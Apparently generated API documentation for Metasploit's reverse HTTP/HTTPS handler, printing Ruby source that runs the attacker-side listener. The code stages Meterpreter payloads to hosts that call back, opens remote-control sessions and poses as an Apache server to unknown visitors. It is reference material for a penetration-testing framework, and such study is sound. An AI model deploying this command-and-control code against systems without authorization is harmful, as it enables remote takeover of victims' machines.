Module: Msf::Handler::ReverseHttp

Overview

This handler implements the HTTP SSL tunneling interface.

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Constants included from Msf::Handler

Claimed, Unused

Instance Attribute Summary collapse

Attributes included from Msf::Handler

#exploit_config, #parent_payload, #pending_connections, #session_waiter_event, #sessions

Class Method Summary collapse

Instance Method Summary collapse

Methods included from Payload::Windows::VerifySsl

#get_ssl_cert_hash

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Reverse

#bind_addresses, #bind_port, #is_loopback_address?

Methods included from Msf::Handler

#add_handler, #cleanup_handler, #create_session, #handle_connection, #handler, #handler_name, #interrupt_wait_for_session, #register_session, #start_handler, #wait_for_session, #wfs_delay

Instance Attribute Details

#serviceObject

:nodoc:


262
263
264
# File 'lib/msf/core/handler/reverse_http.rb', line 262

def service
  @service
end

Class Method Details

.general_handler_typeObject

Returns the connection-described general handler type, in this case 'tunnel'.


38
39
40
# File 'lib/msf/core/handler/reverse_http.rb', line 38

def self.general_handler_type
  "tunnel"
end

.handler_typeObject

Returns the string representation of the handler type


30
31
32
# File 'lib/msf/core/handler/reverse_http.rb', line 30

def self.handler_type
  return 'reverse_http'
end

Instance Method Details

#initialize(info = {}) ⇒ Object

Initializes the HTTP SSL tunneling handler.


45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# File 'lib/msf/core/handler/reverse_http.rb', line 45

def initialize(info = {})
  super

  register_options(
    [
      OptAddressLocal.new('LHOST', [true, 'The local listener hostname']),
      OptPort.new('LPORT', [true, 'The local listener port', 8080]),
      OptString.new('LURI', [false, 'The HTTP Path', ''])
    ], Msf::Handler::ReverseHttp)

  register_advanced_options(
    [
      OptAddress.new('ReverseListenerBindAddress',
        'The specific IP address to bind to on the local system'
      ),
      OptBool.new('OverrideRequestHost',
        'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT',
      ),
      OptString.new('OverrideLHOST',
        'When OverrideRequestHost is set, use this value as the host name for secondary requests'
      ),
      OptPort.new('OverrideLPORT',
        'When OverrideRequestHost is set, use this value as the port number for secondary requests'
      ),
      OptString.new('OverrideScheme',
        'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https'
      ),
      OptString.new('HttpUserAgent',
        'The user-agent that the payload should use for communication',
        default: Rex::UserAgent.shortest,
        aliases: ['MeterpreterUserAgent'],
        max_length: Rex::Payloads::Meterpreter::Config::UA_SIZE - 1
      ),
      OptString.new('HttpServerName',
        'The server header that the handler will send in response to requests',
        default: 'Apache',
        aliases: ['MeterpreterServerName']
      ),
      OptString.new('HttpUnknownRequestResponse',
        'The returned HTML response body when the handler receives a request that is not from a payload',
        default: '<html><body><h1>It works!</h1></body></html>'
      ),
      OptBool.new('IgnoreUnknownPayloads',
        'Whether to drop connections from payloads using unknown UUIDs'
      )
    ], Msf::Handler::ReverseHttp)
end

#listener_uri(addr = datastore['ReverseListenerBindAddress']) ⇒ String

A URI describing where we are listening

Parameters:

  • addr (String) (defaults to: datastore['ReverseListenerBindAddress'])

    the address that

Returns:

  • (String)

    A URI of the form scheme://host:port/


105
106
107
108
109
# File 'lib/msf/core/handler/reverse_http.rb', line 105

def listener_uri(addr=datastore['ReverseListenerBindAddress'])
  addr = datastore['LHOST'] if addr.nil? || addr.empty?
  uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
  "#{scheme}://#{uri_host}:#{bind_port}#{luri}"
end

#lookup_proxy_settingsObject (protected)

Parses the proxy settings and returns a hash


269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
# File 'lib/msf/core/handler/reverse_http.rb', line 269

def lookup_proxy_settings
  info = {}
  return @proxy_settings if @proxy_settings

  if datastore['HttpProxyHost'].to_s == ''
    @proxy_settings = info
    return @proxy_settings
  end

  info[:host] = datastore['HttpProxyHost'].to_s
  info[:port] = (datastore['HttpProxyPort'] || 8080).to_i
  info[:type] = datastore['HttpProxyType'].to_s

  uri_host = info[:host]

  if Rex::Socket.is_ipv6?(uri_host)
    uri_host = "[#{info[:host]}]"
  end

  info[:info] = "#{uri_host}:#{info[:port]}"

  if info[:type] == "SOCKS"
    info[:info] = "socks=#{info[:info]}"
  else
    info[:info] = "http://#{info[:info]}"
    if datastore['HttpProxyUser'].to_s != ''
      info[:username] = datastore['HttpProxyUser'].to_s
    end
    if datastore['HttpProxyPass'].to_s != ''
      info[:password] = datastore['HttpProxyPass'].to_s
    end
  end

  @proxy_settings = info
end

#luriString

The local URI for the handler.

Returns:

  • (String)

    Representation of the URI to listen on.


180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
# File 'lib/msf/core/handler/reverse_http.rb', line 180

def luri
  l = datastore['LURI'] || ""

  if l && l.length > 0
    # strip trailing slashes
    while l[-1, 1] == '/'
      l = l[0...-1]
    end

    # make sure the luri has the prefix
    if l[0, 1] != '/'
      l = "/#{l}"
    end

  end

  l.dup
end

#on_request(cli, req) ⇒ Object (protected)

Parses the HTTPS request


308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
# File 'lib/msf/core/handler/reverse_http.rb', line 308

def on_request(cli, req)
  Thread.current[:cli] = cli
  resp = Rex::Proto::Http::Response.new
  info = process_uri_resource(req.relative_resource)
  uuid = info[:uuid]

  if uuid
    # Configure the UUID architecture and payload if necessary
    uuid.arch      ||= self.arch
    uuid.platform  ||= self.platform

    conn_id = luri
    if info[:mode] && info[:mode] != :connect
      conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
    else
      conn_id << req.relative_resource
      conn_id = conn_id.chomp('/')
    end

    request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'"

    # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
    if datastore['IgnoreUnknownPayloads'] && ! framework.db.get_payload({uuid: uuid.puid_hex})
      print_status("Ignoring unknown UUID: #{request_summary}")
      info[:mode] = :unknown_uuid
    end

    # Validate known URLs for all session init requests if IgnoreUnknownPayloads is set
    if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/
      payload_info = {
          uuid: uuid.puid_hex,
      }
      payload = framework.db.get_payload(payload_info)
      allowed_urls = payload ? payload.urls : []
      unless allowed_urls.include?(req.relative_resource)
        print_status("Ignoring unknown UUID URL: #{request_summary}")
        info[:mode] = :unknown_uuid_url
      end
    end

    url = payload_uri(req) + conn_id
    url << '/' unless url[-1] == '/'

  else
    info[:mode] = :unknown
  end

  self.pending_connections += 1

  resp.body = ''
  resp.code = 200
  resp.message = 'OK'

  # Process the requested resource.
  case info[:mode]
    when :init_connect
      print_status("Redirecting stageless connection from #{request_summary}")

      # Handle the case where stageless payloads call in on the same URI when they
      # first connect. From there, we tell them to callback on a connect URI that
      # was generated on the fly. This means we form a new session for each.

      # Hurl a TLV back at the caller, and ignore the response
      pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_URL)
      pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
      resp.body = pkt.to_r

    when :init_python, :init_native, :init_java, :connect
      # TODO: at some point we may normalise these three cases into just :init

      if info[:mode] == :connect
        print_status("Attaching orphaned/stageless session...")
      else
        begin
          blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
          blob = encode_stage(blob) if self.respond_to?(:encode_stage)

          print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")

          resp['Content-Type'] = 'application/octet-stream'
          resp.body = blob

        rescue NoMethodError
          print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
          return
        end
      end

      create_session(cli, {
        :passive_dispatcher => self.service,
        :dispatch_ext       => [Rex::Post::Meterpreter::HttpPacketDispatcher],
        :conn_id            => conn_id,
        :url                => url,
        :expiration         => datastore['SessionExpirationTimeout'].to_i,
        :comm_timeout       => datastore['SessionCommunicationTimeout'].to_i,
        :retry_total        => datastore['SessionRetryTotal'].to_i,
        :retry_wait         => datastore['SessionRetryWait'].to_i,
        :ssl                => ssl?,
        :payload_uuid       => uuid
      })

    else
      unless [:unknown, :unknown_uuid, :unknown_uuid_url].include?(info[:mode])
        print_status("Unknown request to #{request_summary}")
      end
      resp.body    = datastore['HttpUnknownRequestResponse'].to_s
      self.pending_connections -= 1
  end

  cli.send_response(resp) if (resp)

  # Force this socket to be closed
  self.service.close_client(cli)
end

#payload_uri(req = nil) ⇒ String

Return a URI suitable for placing in a payload.

Host will be properly wrapped in square brackets, [], for ipv6 addresses.

Parameters:

Returns:

  • (String)

    A URI of the form scheme://host:port/


118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
# File 'lib/msf/core/handler/reverse_http.rb', line 118

def payload_uri(req=nil)
  callback_host = nil
  callback_scheme = nil

  # Extract whatever the client sent us in the Host header
  if req && req.headers && req.headers['Host']
    cburi = URI("#{scheme}://#{req.headers['Host']}")
    callback_host = cburi.host
    callback_port = cburi.port
  end

  # Override the host and port as appropriate
  if datastore['OverrideRequestHost'] || callback_host.nil?
    callback_host = datastore['OverrideLHOST']
    callback_port = datastore['OverrideLPORT']
    callback_scheme = datastore['OverrideScheme']
  end

  if callback_host.nil? || callback_host.empty?
    callback_host = datastore['LHOST']
  end

  if callback_port.nil? || callback_port.zero?
    callback_port = datastore['LPORT']
  end

  if callback_scheme.nil? || callback_scheme.empty?
    callback_scheme = scheme
  end

  if Rex::Socket.is_ipv6? callback_host
    callback_host = "[#{callback_host}]"
  end

  if callback_host.nil?
    raise ArgumentError, "No host specified for payload_uri"
  end

  if callback_port
    "#{callback_scheme}://#{callback_host}:#{callback_port}"
  else
    "#{callback_scheme}://#{callback_host}"
  end
end

93
94
95
96
97
98
99
# File 'lib/msf/core/handler/reverse_http.rb', line 93

def print_prefix
  if Thread.current[:cli]
    super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) "
  else
    super
  end
end

#schemeString

URI scheme

Returns:

  • (String)

    One of "http" or "https" depending on whether we are using SSL


173
174
175
# File 'lib/msf/core/handler/reverse_http.rb', line 173

def scheme
  (ssl?) ? 'https' : 'http'
end

#setup_handlervoid

This method returns an undefined value.

Create an HTTP listener


202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
# File 'lib/msf/core/handler/reverse_http.rb', line 202

def setup_handler

  local_addr = nil
  local_port = bind_port
  ex = false

  # Start the HTTPS server service on this host/port
  bind_addresses.each do |ip|
    begin
      self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
        local_port, ip, ssl?,
        {
          'Msf'        => framework,
          'MsfExploit' => self,
        },
        nil,
        (ssl?) ? datastore['HandlerSSLCert'] : nil
      )
      local_addr = ip
    rescue
      ex = $!
      print_error("Handler failed to bind to #{ip}:#{local_port}")
    else
      ex = false
      break
    end
  end

  raise ex if (ex)

  self.service.server_name = datastore['HttpServerName']

  # Add the new resource
  service.add_resource((luri + "/").gsub("//", "/"),
    'Proc' => Proc.new { |cli, req|
      on_request(cli, req)
    },
    'VirtualDirectory' => true)

  print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}")
  lookup_proxy_settings

  if datastore['IgnoreUnknownPayloads']
    print_status("Handler is ignoring unknown payloads")
  end
end

#ssl?Boolean

Use the #refname to determine whether this handler uses SSL or not

Returns:

  • (Boolean)

165
166
167
# File 'lib/msf/core/handler/reverse_http.rb', line 165

def ssl?
  !!(self.refname.index('https'))
end

#stop_handlerObject

Removes the / handler, possibly stopping the service if no sessions are active on sub-urls.


253
254
255
256
257
258
259
260
# File 'lib/msf/core/handler/reverse_http.rb', line 253

def stop_handler
  if self.service
    self.service.remove_resource((luri + "/").gsub("//", "/"))
    if self.service.resources.empty? && self.sessions == 0
      Rex::ServiceManager.stop_service(self.service)
    end
  end
end